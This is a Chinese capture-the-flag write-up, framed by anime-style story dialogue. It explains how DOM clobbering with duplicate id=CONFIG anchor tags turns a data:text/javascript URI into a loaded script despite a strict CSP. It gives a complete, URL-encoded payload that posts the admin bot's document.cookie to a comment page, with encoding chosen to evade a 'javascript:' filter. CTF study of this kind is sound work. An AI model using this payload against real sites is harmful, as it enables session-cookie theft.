描述:“你这家伙,上次居然真的能在 33 毫秒的夹缝里动动手脚……” 乌托邦·王咬着笔尖,眼底闪过一丝连她自己都没察觉的雀跃。她迅速转过身,指着面前全新部署的控制台。
“别以为赢了一次就能一直赢下去!既然底层架构拦不住你,那这次我就彻底把前端封死!全新的‘拼少少商城’评价中心部署了基于动态 Nonce 和 strict-dynamic 的极严苛内容安全策略。在这个纯净的 DOM 沙箱里,你的那些恶意脚本根本连执行的机会都不会有!”
一旁的三三甩了甩尾巴,凑到麦克风前:“喵呜……可是王大人昨天晚上对着您的攻击日志复盘了一整夜,还在日记里写了‘如果他这次还能找到我,我就……’喵呜!”
“死三三!你的散热风扇是不是该拆了?!”乌托邦·王满脸通红地捂住三三的嘴,“听好了,笨蛋!所有的评价环境都是互相隔离的,就算你能写入标签,没有执行权限也只是一堆废文本。如果你连这种被锁死在铁笼里的防御都能瓦解,利用那些毫无生气的标签篡改我的意志……”
乌托邦·王的声音越来越小,最后几乎细若游丝:“那……那本小姐就真的认栽了。不管你想要什么,我都……都答应你就是了。”

在script.js里能看到几个重要的:
let externalConfig = window.CONFIG; // 读全局变量
finalSettings.analyticsUrl = externalConfig.analytics.href;
const s = document.createElement('script');
s.src = settings.analyticsUrl; // 可控 URL
document.body.appendChild(s); // strict-dynamic 放行

在浏览器中,有三条 "命名规则":
因为是window.CONFIG,所以就应该有两个id="CONFIG",放入a标签里面,然后再往里面的href插入恶意代码。
先放两个<a id=CONFIG></a>,让id=CONFIG这个元素注册成全局变量 window.CONFIG。没加引号是因为值 CONFIG 不含空格 / 引号,HTML 允许省略属性引号。
有两个及以上同 id → window.CONFIG 自动变成一个集合 HTMLCollection,而集合才支持 " 再用 name 取内部元素 "。 所以必须有两个同 id,第一个纯粹用来把 window.CONFIG "撑成集合"。
所以第二个的id=CONFIG,让它也进入上面那个集合,成为集合第 2 个元素。
接下来我们要用name 取内部元素,所以我们要用name给集合提供一个命名项,于是 集合.<命名项> 就能取到这个标签。
再看script.js:
let externalConfig = window.CONFIG; // 想要一个配置对象
finalSettings.analyticsUrl = externalConfig.analytics.href; // 想要 配置.analytics.href 这个URL
所以就把命名项命名为analytics。
如下:
<a id=CONFIG></a> ← 标签①:凑数
<a id=CONFIG name=analytics href="">x</a> ← 标签②:真正干活
当我们注入后,浏览器实际给出的是:
| window.CONFIG | 两个 <a> 组成的 HTMLCollection |
| window.CONFIG.analytics | 集合里 name="analytics" 的第二个 <a> |
| window.CONFIG.analytics.href | 第二个 <a> 的 href,即插入的恶意代码 |
这就是 DOM Clobbering(DOM 打击 / 篡改):不执行任何脚本,仅靠 HTML 标签 "无中生有" 出 JS 以为存在的全局对象。
轮到恶意代码环节。我们要把 JS 塞进一个 URL里。
data: URI 的标准格式:
data:[<MIME类型>][;base64],<数据本体>
因为是js,所以MIME 类型为text/javascript,base64可以忽略,因为我们不需要转为base64编码。
浏览器中有一个内置的 HTTP 请求函数,它在谁的页面运行,就以谁的身份 / 凭证发请求。这段代码运行在管理员 bot 的页面,所以发出的请求天然带着管理员的 cookie(同源时自动携带)。即fetch( url, 配置对象 )。
从js中我们能看到对应的url和配置对象,第一个相对路径,等于我们向谁发送请求,比如我们在p5向p4发送请求,则url为/api/comments/p4。


fetch整体则为js中给出的:
fetch('/api/comments/p4', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ content: 'COOKIE=' + document.cookie })
})
fetch('/api/comments/p4', {method: 'POST',headers: { 'Content-Type': 'application/json' },body: JSON.stringify({ content: 'COOKIE=' + document.cookie })})
HTTP 请求体本质是字符串,不能直接塞 JS 对象,所以用 JSON.stringify(…) 把对象序列化成:
{"content":"COOKIE=flag=flag{….}"}
content为这个对象的键,必须叫这个名字。
最终payload如下:
<a id=CONFIG></a><a id=CONFIG name=analytics href="data:text/javascript,fetch('/api/comments/p4', {method:'POST',headers:{'Content-Type':'application/json'},body: JSON.stringify({content:'COOKIE='+document.cookie})})">x</a>
把fetch里的内容进行url编码:
<a id=CONFIG></a><a id=CONFIG name=analytics href="data:text/javascript,fetch('%2Fapi%2Fcomments%2Fp4'%2C%20%7Bmethod%3A'POST'%2Cheaders%3A%7B'Content-Type'%3A'application%2Fjson'%7D%2Cbody%3A%20JSON.stringify(%7Bcontent%3A'COOKIE%3D'%2Bdocument.cookie%7D)%7D)">x</a>
为什么要编码?data URI 本质是个 URL,空格、引号、{}、中文等字符在 URL/HTML 属性里不安全,编码后只剩字母数字和 %,既能安全传输,又顺带让过滤器只看到一串普通 %XX,看不到裸代码和 javascript: 这种敏感词(白名单删 javascript: 但放行 data:)。浏览器加载 data URI 时会自动解码再执行,两种写法效果完全相同。
发布评价点击后呼叫管理员审核。

进入p4就可以直接看到flag。

网硕互联帮助中心



评论前必须登录!
注册